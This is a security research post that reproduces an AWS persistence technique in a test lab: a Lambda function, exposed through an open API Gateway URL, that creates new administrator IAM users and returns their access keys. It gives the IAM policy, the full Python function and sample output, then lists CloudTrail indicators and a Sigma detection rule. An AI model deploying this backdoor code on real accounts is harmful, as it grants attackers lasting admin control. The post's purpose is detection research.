[ << ALL_FEED ]

☁️ AWS backdoor as a service: persistence in the cloud via Lambda

More in General

☁️ AWS backdoor as a service: persistence in the cloud via Lambda

The cloud threat landscape is constantly evolving, and attackers are increasingly abusing legitimate services for their own purposes. Our attention was drawn to an AWS persistence technique known as persistence as a service, which uses a combination of AWS Lambda and API Gateway. We decided to reproduce this attack exactly in our AWS test lab in order to study its digital footprint and understand how it can be effectively detected.

🎯 The essence of the attack

After gaining initial access to an account, an attacker creates a mechanism that allows them to return to the system even after their stolen credentials are blocked.

How it works:

1. A Lambda function is created that is capable of programmatically creating new IAM users with administrator privileges.

2. Using Amazon API Gateway, a public HTTP URL is created that does not require authentication to access.

3. API Gateway is configured so that any request to this URL automatically triggers the created Lambda function.

As a result, the attacker gets a “backdoor as a service.” They no longer need stolen keys; simply visiting the link is enough to instantly obtain new administrator credentials.

⚙️ Reproducing the attack

In the test environment, the attack consisted of three main stages: preparing permissions, creating the malicious code, and exposing access externally.

1️⃣ Creating a role for the Lambda function

First, we created a policy (we named it LambdaCreateUserPolicy) that grants permissions to create a user, create access keys, and attach an administrator policy (so that our backdoor user would be all-powerful).

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Action": [
                "iam:CreateUser",
                "iam:CreateAccessKey",
                "iam:AttachUserPolicy"
            ],
            "Resource": "*"
        }
    ]
}
Code language: JSON / JSON with Comments (json)

Next, we created an IAM role that would give the future function permissions to create users and manage permissions:

• Trusted entity type: AWS service
• Use case: Lambda
• Attach the previously created policy LambdaCreateUserPolicy
• Role name: lambda-backdoor-role

2️⃣ Creating the Lambda function

Then we create the Lambda function itself in Python, which:

• generates a unique username based on the current date and time;
• creates this user;
• attaches the AdministratorAccess policy to them;
• generates Access Keys for them;
• returns these keys as a JSON response.

This allows the attacker to obtain fresh unique credentials on every invocation. Here are the parameters of the test script:

• Function name, in our case create-backdoor-user-poc
• Runtime: Python 3.12
• Execution role: pointed to the previously created role lambda-backdoor-role

import json
import boto3
from datetime import datetime, timezone
def lambda_handler(event, context):
    iam = boto3.client('iam')
    timestamp = datetime.now(timezone.utc).strftime('%Y%m%d-%H%M%S')
    username = f'backdoor-user-{timestamp}'
    policy_arn = 'arn:aws:iam::aws:policy/AdministratorAccess'
    try:
        iam.create_user(UserName=username)
        iam.attach_user_policy(UserName=username, PolicyArn=policy_arn)
        response = iam.create_access_key(UserName=username)
        credentials = {
            "AccessKeyId": response['AccessKey']['AccessKeyId'],
            "SecretAccessKey": response['AccessKey']['SecretAccessKey'],
            "UserName": username
        }
        return {
            'statusCode': 200,
            'body': json.dumps(credentials, indent=2)
        }
    except Exception as e:
        return {
            'statusCode': 500,
            'body': json.dumps(str(e))
        }
Code language: Python (python)

3️⃣ Creating a public API Gateway trigger (screenshot 1)

Finally, the function needs to be exposed to the internet. We added an API Gateway trigger to the Lambda function, specifying Security: Open in the settings. A public URL is created, and that became the backdoor. It will look approximately like this:

https://abcdef123.execute-api.eu-central-1.amazonaws.com/default/create-backdoor-user-poc

Note: since a cold start and three API calls can take a noticeable amount of time, we increased the Lambda function timeout from the default 3 to 15 seconds.

4️⃣ Executing the attack

Now it is enough to simply visit the URL generated by API Gateway. In response, the browser receives JSON with fresh credentials for the new administrator (screenshot 2):

{
  "AccessKeyId": "AKIAS22MVUU75MYRNT3U",
  "SecretAccessKey": "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",
  "UserName": "backdoor-user-20250921-155854"
}

When checking the result in AWS, we see the newly created user with the AdministratorAccess policy attached (screenshot 3).

👣 Digital footprint

Analysis of AWS CloudTrail logs showed that reliable detection requires monitoring the entire chain of events.

1️⃣ CreateRole event (creating a role for Lambda)

At the first stage, a log entry appears for the creation of an IAM role with the telling name lambda-backdoor-role, intended for the Lambda service. This action by itself is not malicious, but it is where the chain begins.

• eventName: CreateRole — the action itself.
• requestParameters.roleName: lambda-backdoor-role — the role name.
• userIdentity.userName — who exactly created this role.

2️⃣ CreateFunction event (creating the Lambda function)

Next, we see that the very role created in the first step is attached to the new function create-backdoor-user-poc (requestParameters.role).

• eventName: CreateFunction20150331 — the action of creating the function.
• requestParameters.functionName: create-backdoor-user-poc — the function name.
• requestParameters.role: arn:aws:iam::***:role/lambda-backdoor-role — shows that the very role created in the first step is attached to the new function.

3️⃣ CreateApi event (creating the API Gateway trigger)

Here a public API is created. The key indicator in the log is the field userIdentity.invokedBy with the value AWS Internal and requestParameters.description equal to Created by AWS Lambda. This indicates that the API was created automatically through the Lambda interface, which is characteristic of this attack.

4️⃣ CreateUser event (creating the backdoor user)

In the log we see an event for the creation of a new user, but the field userIdentity.sessionContext.sessionIssuer.userName contains the name of our role lambda-backdoor-role. This is an anomaly: a service role suddenly started creating users.

• eventName: CreateUser — the action itself.
• userIdentity.type: AssumedRole — indicates that the action was performed not directly by a user, but by a role.
• userIdentity.sessionContext.sessionIssuer.userName: lambda-backdoor-role — the initiating user is not a human, but a Lambda service role. This is an anomaly.
• requestParameters.userName: backdoor-user-20250921-155854 — the name of the created user.
• At the very bottom of the userIdentity object there is a special block inScopeOf. The field "issuerType": "AWS::Lambda::Function" — this indicates that the temporary credentials used for this API call were issued specifically to a Lambda function.
• Another very strong indicator is the userAgent: the presence of the substring exec-env/AWS_Lambda. This string is added by the Lambda runtime and shows that the code that made the API call was executed within the Lambda environment.

If this post gets three likes, then in the next one we’ll share an idea for a correlation rule in SIEM 😉

Idea for a correlation rule in SIEM 💡

Although tracking the entire attack chain described in the posts above provides the full picture, the strongest and simplest signal to implement is the user creation event itself.

IF eventName = CreateUser AND userIdentity points to a Lambda function role (userIdentity.inScopeOf.issuerType = AWS::Lambda::Function),
THEN generate a high-priority alert.

Given that the creation of users by Lambda functions is extremely rare and anomalous behavior, such a rule will have a very low false positive rate.

Sigma rule:

title: Suspicious IAM User Creation by AWS Lambda Function
id: 700feb27-05a5-4ba1-ae80-2c8d0d3591eb
status: test
description: >-
    Detects the creation or modification of an IAM user/credentials where the action is initiated by an AWS Lambda function's execution role.
    This is a highly anomalous behavior and a key indicator of the "Persistence-as-a-Service" technique,
    where an attacker uses a Lambda function (often exposed via an open API Gateway) to create backdoor users.
references:
    - https://securitylabs.datadoghq.com/articles/tales-from-the-cloud-trenches-the-attacker-doth-persist-too-much/
author: 'PT ESC'
date: '2025/09/20'
logsource:
    product: aws
    service: cloudtrail
detection:
    selection:
        eventName:
            - CreateUser
            - CreateAccessKey
            - AttachUserPolicy
            - UpdateLoginProfile
        userIdentity.inScopeOf.issuerType: 'AWS::Lambda::Function'
    condition: selection
falsepositives:
    - Legitimate workflows that use Lambda to automatically create users (e.g., a custom registration portal). These functions should be added to the exceptions.
level: high

This experiment once again proved that monitoring the actions of the services themselves (and not just users) is the key to security in the cloud. And what other cloud persistence techniques have you encountered?

#detect #tip #sigma #reverse
@ptescalator

More from global_author

More from global_author

More in General